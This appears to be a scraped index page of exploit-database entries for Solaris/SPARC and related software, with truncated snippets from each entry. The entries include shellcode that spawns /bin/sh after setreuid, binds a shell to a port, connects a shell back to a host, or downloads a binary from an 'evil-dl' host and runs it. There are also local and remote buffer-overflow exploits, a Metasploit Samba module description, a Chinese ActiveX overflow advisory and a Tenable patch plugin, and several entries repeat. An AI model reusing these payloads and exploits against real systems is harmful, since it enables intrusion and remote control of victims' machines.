Solaris 10 OpenSolaris - fasttrap Local Kernel Denial of Service (PoC)

Solaris 10 OpenSolaris - fasttrap Local Kernel Denial of Service PoC / solaris-fasttrap-dos.c Copyright c 2008 by Solaris = 10/Opensolaris local kernel DoS POC by mu-b - Wed 19 Nov 2008 - Tested on: Sun Solaris 10 SPARC Sun OpenSolaris include include include include include include define...

Solaris 7/8/9 CDE LibDTHelp Local Buffer Overflow Exploit

No description provided by source. / $Id: raptorlibdthelp.c,v 1.1 2004/12/04 14:44:38 raptor Exp $ raptorlibdthelp.c - libDtHelp.so local, Solaris/SPARC 7/8/9 Copyright c 2003-2004 Marco Ivaldi [email protected] Buffer overflow in CDE libDtHelp library allows local users to execute arbitrary...

Ask Toolbar ToolbarSettings ActiveX控件远程栈溢出漏洞

BUGTRAQ ID: 25785 Ask Toolbar是安装在Internet Explorer和Firefox浏览器上的搜索工具栏。 Ask Toolbar的ActiveX控件实现上存在缓冲区溢出漏洞，远程攻击者可能利用此漏洞控制用户系统。 AskJeevesToolBar.SettingsPlugin.1 ActiveX控件（askBar.dll）在处理ShortFormat属性时存在栈溢出漏洞。如果用户受骗访问了恶意网页并向该属性传送了超过500字节的超长字符串的话，就可能触发这个溢出，导致执行任意指令。 Ask.com Ask Toolbar 4.0.2.53...

solaris/sparc executes command after setreuid (92 bytes + cmd)

No description provided by source. / bunkersparcexec.c V1.0 - Sat Oct 21 17:45:27 CEST 2006 Solaris/sparc bytecode that executes command after setreuid 92 bytes + cmd setreuid0, 0 + execve"/bin/sh", "/bin/sh","-c","cmd", NULL; bunker - http://rawlab.mindcreations.com...

solaris/sparc download and execute 278 bytes

No description provided by source. / black-dl-exec-SOLARIS.c MIPS 278:bytes Dowloads a binary from host given named 'evil-dl' to '/tmp/ff' then executes. 11.21.6 Russell Sanford [email protected] gcc -lnsl black-dl-exec-SOLARIS.c -o bdes / include sys/socket.h include netinet/in.h include...

solaris/sparc download and execute 278 bytes

Exploit for solaris/sparc platform in category shellcode ============================================ solaris/sparc download and execute 278 bytes ============================================ / black-dl-exec-SOLARIS.c MIPS 278:bytes Dowloads a binary from host given named 'evil-dl' to '/tmp/ff'...

X11R6 <= 6.4 XKEYBOARD Local Buffer Overflow Exploit (solaris/sparc)

No description provided by source. / X11R6 XKEYBOARD extension Strcmp for Sun Solaris 8 9 10 SPARC Copyright 2006 RISE Security [email protected], Ramon de Carvalho Valle [email protected] ExpCode.com This program is free software; you can redistribute it and/or modify it under the...

solaris/sparc executes command after setreuid (92 bytes + cmd)

Exploit for solaris/sparc platform in category shellcode ============================================================== solaris/sparc executes command after setreuid 92 bytes + cmd ============================================================== / bunkersparcexec.c V1.0 - Sat Oct 21 17:45:27 CEST...

solaris/sparc executes command after setreuid 92 bytes + cmd

solaris/sparc executes command after setreuid 92 bytes + cmd. Shellcode exploit for solarissparc platform / bunkersparcexec.c V1.0 - Sat Oct 21 17:45:27 CEST 2006 Solaris/sparc bytecode that executes command after setreuid 92 bytes + cmd setreuid0, 0 + execve"/bin/sh", "/bin/sh","-c","cmd", NULL;...

X11R6 < 6.4 XKEYBOARD (Solaris/SPARC) - Local Buffer Overflow (1)

/ X11R6 XKEYBOARD extension Strcmp for Sun Solaris 8 9 10 SPARC Copyright 2006 RISE Security , Ramon de Carvalho Valle This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either...

Solaris 8/9 ps - Environment Variable Information leak

Solaris 8/9 ps - Environment Variable Information leak. CVE-1999-1587. Local exploit for Solaris platform !/bin/sh $Id: raptorucbps,v 1.1 2006/07/26 12:15:42 raptor Exp $ raptorucbps - information leak with Solaris /usr/ucb/ps Copyright c 2006 Marco Ivaldi A security vulnerability in the...

Samba trans2open Overflow (Solaris SPARC)

This exploits the buffer overflow found in Samba versions 2.2.0 to 2.2.8. This particular module is capable of exploiting the flaw on Solaris SPARC systems that do not have the noexec stack option set. Big thanks to MC and valsmith for resolving a problem with the beta version of this module. Thi...

solaris/sparc portbind port 6666 240 bytes

solaris/sparc portbind port 6666 240 bytes. Shellcode exploit for solarissparc platform / [email protected] portbind shellcode full description of how it was done and defines at http://www.telegenetic.net/sparc-shellcode.htm / char shellcode= "\x9A\x1A\x40\x09" / xor %o1, %o1, %o5 /...

solaris/sparc setreuid/execve 56 bytes

No description provided by source. / [email protected] setreuid shellcode full description of how it was done and defines at http://www.telegenetic.net/sparc-shellcode.htm / char shellcode = "\x90\x1A\x40\x09" / xor %o1, %o1, %o0 / "\x92\x1A\x40\x09" / xor %o1, %o1, %o1 / "\x82\x10\x20\xCA" /...

solaris/sparc portbind (port 6666) 240 bytes

Exploit for solaris/sparc platform in category shellcode ============================================ solaris/sparc portbind port 6666 240 bytes ============================================ / email protected portbind shellcode full description of how it was done and defines at...

Solaris 2.5.12.678 rlogin (SPARC) - binlogin Remote Buffer Overflow

Solaris 2.5.12.678 rlogin SPARC - binlogin Remote Buffer Overflow / $Id: raptorrlogin.c,v 1.1 2004/12/04 14:44:38 raptor Exp $ raptorrlogin.c - rlogin, Solaris/SPARC 2.5.1/2.6/7/8 Copyright c 2004 Marco Ivaldi Buffer overflow in login in various System V based operating systems allows remote...

solaris/SPARC execve /bin/sh 52 bytes

No description provided by source. //Solaris/Sparc - LSD char shellcode= "\x20\xbf\xff\xff" / bn,a shellcode-4 / "\x20\xbf\xff\xff" / bn,a shellcode / "\x7f\xff\xff\xff" / call shellcode+4 / "\x90\x03\xe0\x20" / add %o7,32,%o0 / "\x92\x02\x20\x10" / add %o0,16,%o1 / "\xc0\x22\x20\x08" / st...

solaris/SPARC portbind port 6789 228 bytes

Exploit for solaris/sparc platform in category shellcode ========================================== solaris/SPARC portbind port 6789 228 bytes ========================================== / Solaris shellcode - connects /bin/sh to a port Claes M. Nyberg 20020624 , / include / void mainvoid asm" !...

solaris/SPARC connect-back 204 bytes

No description provided by source. / Solaris shellcode - connects /bin/sh to a host Claes M. Nyberg 20020624 [email protected], [email protected] / include string.h / void mainvoid asm" ! Create socket mov 0x2, %o0 ! o0 = AFINET mov 0x2, %o1 ! o1 = SOCKSTREAM xor %o2, %o2, %o2 ! o2 = 0 mo...

Solaris 9 (sparc) : 112810-06

CDE 1.5: dtmail patch. Date this patch was last updated by Sun : Jun/29/04 %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The descriptive text in this plugin was extracted from the Oracle SunOS Patch Updates. include'deprecatednasllevel.inc'; include'compat.inc'; if description scriptid1351...